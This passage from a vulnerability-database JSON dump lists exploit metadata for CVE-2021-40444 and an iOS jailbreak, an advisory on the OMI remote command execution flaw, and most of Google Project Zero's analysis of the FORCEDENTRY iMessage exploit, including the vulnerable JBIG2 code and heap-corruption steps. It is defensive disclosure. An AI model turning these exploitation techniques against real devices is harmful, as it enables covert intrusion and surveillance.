"vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2021-12-24T12:46:04", "description": "# CVE-2021-40444 docx Generate\n.docx generate...", "cvss3": {"exploitabilityScore": 1.8, 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"obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-40444"], "modified": "2023-09-16T21:47:26", "id": "8CD90173-6341-5FAD-942A-A9617561026A", "href": "", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2022-07-13T19:05:39", "description": "\"Fork\" of [lockedbytes](https://github.com/lockedbyte) CVE-2021-...", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-09-14T13:45:36", "type": "githubexploit", "title": "Exploit for Path Traversal in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-40444"], "modified": "2021-12-15T14:42:59", "id": "F5CEF191-B04C-5FC5-82D1-3B728EC648A9", "href": "", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2022-03-23T20:40:51", "description": "# Gex is an iOS 14.7 jailbreak using CVE-2021-3080...", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-11-30T14:56:04", "type": "githubexploit", "title": "Exploit for Vulnerability in Apple Ipad Os", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-30807", "CVE-2021-30860"], "modified": "2022-02-12T16:24:53", "id": "374D00E3-03E0-5580-9CDF-C7CCABB45C2F", "href": "", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2021-12-10T15:34:05", "description": "# \u3016EXP\u3017Ladon CVE-2021-40444 Office\u6f0f\u6d1e\u590d\u73b0\n\n\n### \u6f0f\u6d1e\u6982\u8ff0\n\n\u5317\u4eac\u65f6\u95f49\u67088\u65e5\uff0c\u7eff\u76df\u79d1\u6280...", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-09-14T17:10:48", "type": "githubexploit", "title": "Exploit for Vulnerability in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-40444"], "modified": "2021-11-15T04:16:33", "id": "FF761088-559C-5E71-A5CD-196D4E4571B8", "href": "", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}, "privateArea": 1}], "saint": [{"lastseen": "2021-11-26T18:36:50", "description": "Added: 09/28/2021 \n\n\n### Background\n\n[Microsoft Azure Open Management Infrastructure](<https://github.com/microsoft/omi>) is an open source project to further the development of a production quality implementation of the DMTF CIM/WBEM standards. \n\n### Problem\n\nA vulnerability in Open Management Infrastructure allows remote attackers to execute arbitrary commands by sending a SOAP `**ExecuteShellCommand**` request without an Authorization header. \n\n### Resolution\n\n[Upgrade](<https://github.com/microsoft/omi-kits/tree/master/release>) to Open Management Infrastructure 1.6.8-1 or higher. \n\n### References\n\n<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38647> \n<https://www.horizon3.ai/omigod-rce-vulnerability-in-multiple-azure-linux-deployments/> \n \n\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-09-28T00:00:00", "type": "saint", "title": "Microsoft Azure Open Management Infrastructure remote command execution", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-38647"], "modified": "2021-09-28T00:00:00", "id": "SAINT:B21EB0CE85BB4A8171AF59A4CF014F01", "href": "http://download.saintcorporation.com/cgi-bin/exploit_info/microsoft_azure_omi", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-05-23T15:53:10", "description": "Added: 09/28/2021 \n\n\n### Background\n\n[Microsoft Azure Open Management Infrastructure](<https://github.com/microsoft/omi>) is an open source project to further the development of a production quality implementation of the DMTF CIM/WBEM standards. \n\n### Problem\n\nA vulnerability in Open Management Infrastructure allows remote attackers to execute arbitrary commands by sending a SOAP `**ExecuteShellCommand**` request without an Authorization header. \n\n### Resolution\n\n[Upgrade](<https://github.com/microsoft/omi-kits/tree/master/release>) to Open Management Infrastructure 1.6.8-1 or higher. \n\n### References\n\n<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38647> \n<https://www.horizon3.ai/omigod-rce-vulnerability-in-multiple-azure-linux-deployments/> \n \n\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-09-28T00:00:00", "type": "saint", "title": "Microsoft Azure Open Management Infrastructure remote command execution", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-38647"], "modified": "2021-09-28T00:00:00", "id": "SAINT:E5FBEA63E5EE8A91F5066541141037D1", "href": "https://download.saintcorporation.com/cgi-bin/exploit_info/microsoft_azure_omi", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-06-19T20:31:18", "description": "Added: 09/28/2021 \n\n\n### Background\n\n[Microsoft Azure Open Management Infrastructure](<https://github.com/microsoft/omi>) is an open source project to further the development of a production quality implementation of the DMTF CIM/WBEM standards. \n\n### Problem\n\nA vulnerability in Open Management Infrastructure allows remote attackers to execute arbitrary commands by sending a SOAP `**ExecuteShellCommand**` request without an Authorization header. \n\n### Resolution\n\n[Upgrade](<https://github.com/microsoft/omi-kits/tree/master/release>) to Open Management Infrastructure 1.6.8-1 or higher. \n\n### References\n\n<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38647> \n<https://www.horizon3.ai/omigod-rce-vulnerability-in-multiple-azure-linux-deployments/> \n \n\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-09-28T00:00:00", "type": "saint", "title": "Microsoft Azure Open Management Infrastructure remote command execution", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-38647"], "modified": "2021-09-28T00:00:00", "id": "SAINT:A224EF4FDA8E067B5A4576A0BC6D6F10", "href": "https://my.saintcorporation.com/cgi-bin/exploit_info/microsoft_azure_omi", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "googleprojectzero": [{"lastseen": "2023-05-28T02:00:29", "description": "Posted by Ian Beer & Samuel Gro\u00df of Google Project Zero\n\nWe want to thank Citizen Lab for sharing a sample of the FORCEDENTRY exploit with us, and Apple\u2019s Security Engineering and Architecture (SEAR) group for collaborating with us on the technical analysis. The editorial opinions reflected below are solely Project Zero\u2019s and do not necessarily reflect those of the organizations we collaborated with during this research. \n\nEarlier this year, Citizen Lab managed to capture an NSO iMessage-based zero-click exploit being used to target a Saudi activist. In this two-part blog post series we will describe for the first time how an in-the-wild zero-click iMessage exploit works.\n\nBased on our research and findings, we assess this to be one of the most technically sophisticated exploits we've ever seen, further demonstrating that the capabilities NSO provides rival those previously thought to be accessible to only a handful of nation states.\n\nThe vulnerability discussed in this blog post was fixed on September 13, 2021 in [iOS 14.8](<https://support.apple.com/en-us/HT212807>) as CVE-2021-30860.\n\nNSO\n\n[NSO](<https://en.wikipedia.org/wiki/NSO_Group>)[ Group](<https://en.wikipedia.org/wiki/NSO_Group>) is one of the [highest-profile providers of \"access-as-a-service\"](<https://www.atlanticcouncil.org/in-depth-research-reports/report/countering-cyber-proliferation-zeroing-in-on-access-as-a-service/>), selling packaged hacking solutions which [enable nation state actors without a home-grown offensive cyber capability to \"pay-to-play\"](<https://www.atlanticcouncil.org/in-depth-research-reports/issue-brief/surveillance-technology-at-the-fair/>), vastly expanding the number of nations with such cyber capabilities.\n\nFor years, groups like Citizen Lab and Amnesty International have been tracking the use of NSO's mobile spyware package \"Pegasus\". Despite NSO's claims that they \"[[evaluate] the potential for adverse human rights impacts arising from the misuse of NSO products](<https://www.nsogroup.com/governance/human-rights-policy/>)\" Pegasus has been linked to [the hacking of the New York Times journalist Ben Hubbard by the Saudi regime](<https://citizenlab.ca/2020/01/stopping-the-press-new-york-times-journalist-targeted-by-saudi-linked-pegasus-spyware-operator/>), [hacking of human rights defenders in Morocco](<https://www.amnesty.org/en/latest/research/2019/10/morocco-human-rights-defenders-targeted-with-nso-groups-spyware/>) and [Bahrain](<https://citizenlab.ca/2021/08/bahrain-hacks-activists-with-nso-group-zero-click-iphone-exploits/>), [the targeting of Amnesty International staff](<https://www.amnesty.org/en/latest/research/2018/08/amnesty-international-among-targets-of-nso-powered-campaign/>) and dozens of other cases.\n\nLast month the United States added NSO to the \"Entity List\", severely restricting the ability of US companies to do business with NSO and [stating in a press release](<https://www.commerce.gov/news/press-releases/2021/11/commerce-adds-nso-group-and-other-foreign-companies-entity-list>) that \"[NSO's tools] enabled foreign governments to conduct transnational repression, which is the practice of authoritarian governments targeting dissidents, journalists and activists outside of their sovereign borders to silence dissent.\"\n\nCitizen Lab was able to recover these Pegasus exploits from an iPhone and therefore this analysis covers NSO's capabilities against iPhone. We are aware that NSO sells similar zero-click capabilities which target Android devices; Project Zero does not have samples of these exploits but if you do, please reach out.\n\nFrom One to Zero\n\nIn previous cases such as the [Million Dollar Dissident from 2016](<https://citizenlab.ca/2016/08/million-dollar-dissident-iphone-zero-day-nso-group-uae/>), targets were sent links in SMS messages:\n\n[![](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhvP0VlEQXC6TZWOu-zPOWC-Pnyy3uqOJpwPeP3Y_rz-ZO_MvrqjiMtMwxzIz_E8NdNyrV_Fvx-RRApoMxAPrYQcHO4eiico20He9zMm3UT5-j84CCRZDJq5hjMmeIKd0aLMsflCkfrfVHp1z1PbQmYPFX6UlVtn6_gF8P6iTQaAHL3EQ6iKs4VDdEZ/s870/image2%281%29.jpg)](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhvP0VlEQXC6TZWOu-zPOWC-Pnyy3uqOJpwPeP3Y_rz-ZO_MvrqjiMtMwxzIz_E8NdNyrV_Fvx-RRApoMxAPrYQcHO4eiico20He9zMm3UT5-j84CCRZDJq5hjMmeIKd0aLMsflCkfrfVHp1z1PbQmYPFX6UlVtn6_gF8P6iTQaAHL3EQ6iKs4VDdEZ/s870/image2%281%29.jpg>)\n\nScreenshots of Phishing SMSs reported to Citizen Lab in 2016\n\nsource: <https://citizenlab.ca/2016/08/million-dollar-dissident-iphone-zero-day-nso-group-uae/>\n\nThe target was only hacked when they clicked the link, a technique known as a one-click exploit. Recently, however, it has been documented that NSO is offering their clients zero-click exploitation technology, where even very technically savvy targets who might not click a phishing link are completely unaware they are being targeted. In the zero-click scenario no user interaction is required. Meaning, the attacker doesn't need to send phishing messages; the exploit just works silently in the background. Short of not using a device, there is no way to prevent exploitation by a zero-click exploit; it's a weapon against which there is no defense.\n\nOne weird trick\n\nThe initial entry point for Pegasus on iPhone is iMessage. This means that a victim can be targeted just using their phone number or AppleID username.\n\niMessage has native support for GIF images, the typically small and low quality animated images popular in meme culture. You can send and receive GIFs in iMessage chats and they show up in the chat window. Apple wanted to make those GIFs loop endlessly rather than only play once, so very early on in the [iMessage parsing and processing pipeline](<https://googleprojectzero.blogspot.com/2021/01/a-look-at-imessage-in-ios-14.html>) (after a message has been received but well before the message is shown), iMessage calls the following method in the IMTranscoderAgent process (outside the \"BlastDoor\" sandbox), passing any image file received with the extension .gif:\n\n[IMGIFUtils copyGifFromPath:toDestinationPath:error]\n\nLooking at the selector name, the intention here was probably to just copy the GIF file before editing the loop count field, but the semantics of this method are different. Under the hood it uses the CoreGraphics APIs to render the source image to a new GIF file at the destination path. And just because the source filename has to end in .gif, that doesn't mean it's really a GIF file.\n\nThe ImageIO library, [as detailed in a previous Project Zero blogpost](<https://googleprojectzero.blogspot.com/2020/04/fuzzing-imageio.html>), is used to guess the correct format of the source file and parse it, completely ignoring the file extension. Using this \"fake gif\" trick, over 20 image codecs are suddenly part of the iMessage zero-click attack surface, including some very obscure and complex formats, remotely exposing probably hundreds of thousands of lines of code. \n\nNote: Apple inform us that they have restricted the available ImageIO formats reachable from IMTranscoderAgent starting in iOS 14.8.1 (26 October 2021), and completely removed the GIF code path from IMTranscoderAgent starting in iOS 15.0 (20 September 2021), with GIF decoding taking place entirely within BlastDoor.\n\nA PDF in your GIF\n\nNSO uses the \"fake gif\" trick to target a vulnerability in the CoreGraphics PDF parser.\n\nPDF was a popular target for exploitation around a decade ago, due to its ubiquity and complexity. Plus, the availability of javascript inside PDFs made development of reliable exploits far easier. The CoreGraphics PDF parser doesn't seem to interpret javascript, but NSO managed to find something equally powerful inside the CoreGraphics PDF parser...\n\nExtreme compression\n\nIn the late 1990's, bandwidth and storage were much more scarce than they are now. It was in that environment that the [JBIG2](<https://en.wikipedia.org/wiki/JBIG2>) standard emerged. JBIG2 is a domain specific image codec designed to compress images where pixels can only be black or white.\n\nIt was developed to achieve extremely high compression ratios for scans of text documents and was implemented and used in high-end office scanner/printer devices like the XEROX WorkCenter device shown below. If you used the scan to pdf functionality of a device like this a decade ago, your PDF likely had a JBIG2 stream in it.[![](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj3gos8L_dEuVS2ltgPw-T3WxC6COMIyYoq4DlSN8Z8XgNueXzXBBlQF_BusBrKSJowwIu0OouJLMwZwPZyMiORoXCShUtbb65C3ZkKU9Tzo8ANc5862ImuSa9v1pjcjxR2v4T-UdpMYlV7DEsVgr43Mj3yAjHn_EXcxVxXFhxHqq1QXoEdP3S1JnRm/s700/image10.png)](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj3gos8L_dEuVS2ltgPw-T3WxC6COMIyYoq4DlSN8Z8XgNueXzXBBlQF_BusBrKSJowwIu0OouJLMwZwPZyMiORoXCShUtbb65C3ZkKU9Tzo8ANc5862ImuSa9v1pjcjxR2v4T-UdpMYlV7DEsVgr43Mj3yAjHn_EXcxVxXFhxHqq1QXoEdP3S1JnRm/s700/image10.png>)\n\nA Xerox WorkCentre 7500 series multifunction printer, which used JBIG2\n\nfor its scan-to-pdf functionality\n\nsource: <https://www.office.xerox.com/en-us/multifunction-printers/workcentre-7545-7556/specifications>\n\nThe PDFs files produced by those scanners were exceptionally small, perhaps only a few kilobytes. There are two novel techniques which JBIG2 uses to achieve these extreme compression ratios which are relevant to this exploit:\n\nTechnique 1: Segmentation and substitution\n\nEffectively every text document, especially those written in languages with small alphabets like English or German, consists of many repeated letters (also known as glyphs) on each page. JBIG2 tries to segment each page into glyphs then uses simple pattern matching to match up glyphs which look the same:\n\n[![](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi2YXgDQeGK1E3GixB5S11rI1e7Xqi3cQJKuL4ZklPLYw8U1hbbEDXGOyCfcqqhoQT2evw5kHYC3Ba9RWx21XHknWvjxFKg5te5-K19ZYaoTR2wD4AmBw_c-9RXNUuonuD2TT21aTlvihuC_i_t3GgYFjw2pzL7YshGF7BZa4bq-i44V63NN6Pv7yzy/s352/image4%284%29.png)](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi2YXgDQeGK1E3GixB5S11rI1e7Xqi3cQJKuL4ZklPLYw8U1hbbEDXGOyCfcqqhoQT2evw5kHYC3Ba9RWx21XHknWvjxFKg5te5-K19ZYaoTR2wD4AmBw_c-9RXNUuonuD2TT21aTlvihuC_i_t3GgYFjw2pzL7YshGF7BZa4bq-i44V63NN6Pv7yzy/s352/image4%284%29.png>)\n\nSimple pattern matching can find all the shapes which look similar on a page,\n\nin this case all the 'e's\n\nJBIG2 doesn't actually know anything about glyphs and it isn't doing OCR (optical character recognition.) A JBIG encoder is just looking for connected regions of pixels and grouping similar looking regions together. The compression algorithm is to simply substitute all sufficiently-similar looking regions with a copy of just one of them:\n\n[![](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj2k3SPN7fikk3DnL-5YdWTK6_n1JTjvlb6qC-4tVnHeqU16cM6VWYjmMzNL9ZwMK0MXOhWITS_P0kgsx3YFHDaI2Rd5R8f1CM55ccmCBROIlyymNW2jSSCRWCpddWLuIzhGG6uB8PDKcDg5IpWW7NjdvVPZRFme3Hk4EHHmXZwEJYoohHgaVa31w0u/s327/image1%285%29.png)](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj2k3SPN7fikk3DnL-5YdWTK6_n1JTjvlb6qC-4tVnHeqU16cM6VWYjmMzNL9ZwMK0MXOhWITS_P0kgsx3YFHDaI2Rd5R8f1CM55ccmCBROIlyymNW2jSSCRWCpddWLuIzhGG6uB8PDKcDg5IpWW7NjdvVPZRFme3Hk4EHHmXZwEJYoohHgaVa31w0u/s327/image1%285%29.png>)\n\nReplacing all occurrences of similar glyphs with a copy of just one often yields a document which is still quite legible and enables very high compression ratios\n\nIn this case the output is perfectly readable but the amount of information to be stored is significantly reduced. Rather than needing to store all the original pixel information for the whole page you only need a compressed version of the \"reference glyph\" for each character and the relative coordinates of all the places where copies should be made. The decompression algorithm then treats the output page like a canvas and \"draws\" the exact same glyph at all the stored locations.\n\nThere's a significant issue with such a scheme: it's far too easy for a poor encoder to accidentally swap similar looking characters, and this can happen with interesting consequences. [D. Kriesel's blog has some motivating examples](<http://www.dkriesel.com/en/blog/2013/0802_xerox-workcentres_are_switching_written_numbers_when_scanning>) where PDFs of scanned invoices have different figures or PDFs of scanned construction drawings end up with incorrect measurements. These aren't the issues we're looking at, but they are one significant reason why JBIG2 is not a common compression format anymore.\n\nTechnique 2: Refinement coding\n\nAs mentioned above, the substitution based compression output is lossy. After a round of compression and decompression the rendered output doesn't look exactly like the input. But JBIG2 also supports lossless compression as well as an intermediate \"less lossy\" compression mode.\n\nIt does this by also storing (and compressing) the difference between the substituted glyph and each original glyph. Here's an example showing a difference mask between a substituted character on the left and the original lossless character in the middle:\n\n[![](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-7RiEuIp4vanQlf6nxJf1tfbuA7B61DISNjLlNxXrvSqFnqxcvSLPN6_60h2ypZdjDKHtNmCN3Nr5W66JaLw_j5iSxxntOZ0eXFB2wEQHfUjs_9LIwmckCXdTzurtKgpwyaWkGfInvM35YC3kp_K4qyJYxV4HDEf0E9W_Zqt3OelULvnfSlWAc2Kw/s267/image3%285%29.png)](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-7RiEuIp4vanQlf6nxJf1tfbuA7B61DISNjLlNxXrvSqFnqxcvSLPN6_60h2ypZdjDKHtNmCN3Nr5W66JaLw_j5iSxxntOZ0eXFB2wEQHfUjs_9LIwmckCXdTzurtKgpwyaWkGfInvM35YC3kp_K4qyJYxV4HDEf0E9W_Zqt3OelULvnfSlWAc2Kw/s267/image3%285%29.png>)\n\nUsing the XOR operator on bitmaps to compute a difference image\n\nIn this simple example the encoder can store the difference mask shown on the right, then during decompression the difference mask can be XORed with the substituted character to recover the exact pixels making up the original character. There are some more tricks outside of the scope of this blog post to further compress that difference mask using the intermediate forms of the substituted character as a \"context\" for the compression.\n\nRather than completely encoding the entire difference in one go, it can be done in steps, with each iteration using a logical operator (one of AND, OR, XOR or XNOR) to set, clear or flip bits. Each successive refinement step brings the rendered output closer to the original and this allows a level of control over the \"lossiness\" of the compression. The implementation of these refinement coding steps is very flexible and they are also able to \"read\" values already present on the output canvas.\n\nA JBIG2 stream\n\nMost of the CoreGraphics PDF decoder appears to be Apple proprietary code, but the JBIG2 implementation is from Xpdf, [the source code for which is freely available](<https://www.xpdfreader.com/download.html>).\n\nThe JBIG2 format is a series of segments, which can be thought of as a series of drawing commands which are executed sequentially in a single pass. The CoreGraphics JBIG2 parser supports 19 different segment types which include operations like defining a new page, decoding a huffman table or rendering a bitmap to given coordinates on the page.\n\nSegments are represented by the class JBIG2Segment and its subclasses JBIG2Bitmap and JBIG2SymbolDict.\n\nA JBIG2Bitmap represents a rectangular array of pixels. Its data field points to a backing-buffer containing the rendering canvas.\n\nA JBIG2SymbolDict groups JBIG2Bitmaps together. The destination page is represented as a JBIG2Bitmap, as are individual glyphs.\n\nJBIG2Segments can be referred to by a segment number and the GList vector type stores pointers to all the JBIG2Segments. To look up a segment by segment number the GList is scanned sequentially.\n\nThe vulnerability\n\nThe vulnerability is a classic integer overflow when collating referenced segments:\n\nGuint numSyms; // (1)\n\nnumSyms = 0;\n\nfor (i = 0; i < nRefSegs; ++i) {\n\nif ((seg = findSegment(refSegs[i]))) {\n\nif (seg->getType() == jbig2SegSymbolDict) {\n\nnumSyms += ((JBIG2SymbolDict *)seg)->getSize(); // (2)\n\n} else if (seg->getType() == jbig2SegCodeTable) {\n\ncodeTables->append(seg);\n\n}\n\n} else {\n\nerror(errSyntaxError, getPos(),\n\n\"Invalid segment reference in JBIG2 text region\");\n\ndelete codeTables;\n\nreturn;\n\n}\n\n}\n\n...\n\n// get the symbol bitmaps\n\nsyms = (JBIG2Bitmap **)gmallocn(numSyms, sizeof(JBIG2Bitmap *)); // (3)\n\nkk = 0;\n\nfor (i = 0; i < nRefSegs; ++i) {\n\nif ((seg = findSegment(refSegs[i]))) {\n\nif (seg->getType() == jbig2SegSymbolDict) {\n\nsymbolDict = (JBIG2SymbolDict *)seg;\n\nfor (k = 0; k < symbolDict->getSize(); ++k) {\n\nsyms[kk++] = symbolDict->getBitmap(k); // (4)\n\n}\n\n}\n\n}\n\n} \n \n--- \n \nnumSyms is a 32-bit integer declared at (1). By supplying carefully crafted reference segments it's possible for the repeated addition at (2) to cause numSyms to overflow to a controlled, small value.\n\nThat smaller value is used for the heap allocation size at (3) meaning syms points to an undersized buffer.\n\nInside the inner-most loop at (4) JBIG2Bitmap pointer values are written into the undersized syms buffer.\n\nWithout another trick this loop would write over 32GB of data into the undersized syms buffer, certainly causing a crash. To avoid that crash the heap is groomed such that the first few writes off of the end of the syms buffer corrupt the GList backing buffer. This GList stores all known segments and is used by the findSegments routine to map from the segment numbers passed in refSegs to JBIG2Segment pointers. The overflow causes the JBIG2Segment pointers in the GList to be overwritten with JBIG2Bitmap pointers at (4).\n\nConveniently since JBIG2Bitmap inherits from JBIG2Segment the seg->getType() virtual call succeed even on devices where Pointer Authentication is enabled (which is used to perform a weak type check on virtual calls) but the returned type will now not be equal to jbig2SegSymbolDict thus causing further writes at (4) to not be reached and bounding the extent of the memory corruption.\n\n[![](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj9fFsg7COjTu5Aq2rV9CTyka-eczC_BvD3wrGUP3XL5W9RHoGOKElzDMbDWLrgp1BJfRvEjcw36ZdMgbA2iwnjj0jqDKGBS94UL2tdcH0evSr66V5uGUrhra3PlGyKvCznPT2rSUL3ZegDR-FXRbKw6SJFzNrgubTbAzKXKVrga6h-B3VcHFqOU9zx/s506/image6%282%29.png)](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj9fFsg7COjTu5Aq2rV9CTyka-eczC_BvD3wrGUP3XL5W9RHoGOKElzDMbDWLrgp1BJfRvEjcw36ZdMgbA2iwnjj0jqDKGBS94UL2tdcH0evSr66V5uGUrhra3PlGyKvCznPT2rSUL3ZegDR-FXRbKw6SJFzNrgubTbAzKXKVrga6h-B3VcHFqOU9zx/s506/image6%282%29.png>)\n\nA simplified view of the memory layout when the heap overflow occurs showing the undersized-buffer below the GList backing buffer and the JBIG2Bitmap\n\nBoundless unbounding\n\nDirectly after the corrupted segments GList, the attacker grooms the JBIG2Bitmap object which represents the current page (the place to where current drawing commands render). \n\nJBIG2Bitmaps are simple wrappers around a backing buffer, storing the buffer\u2019s width and height (in bits) as well as a line value which defines how many bytes are stored for each 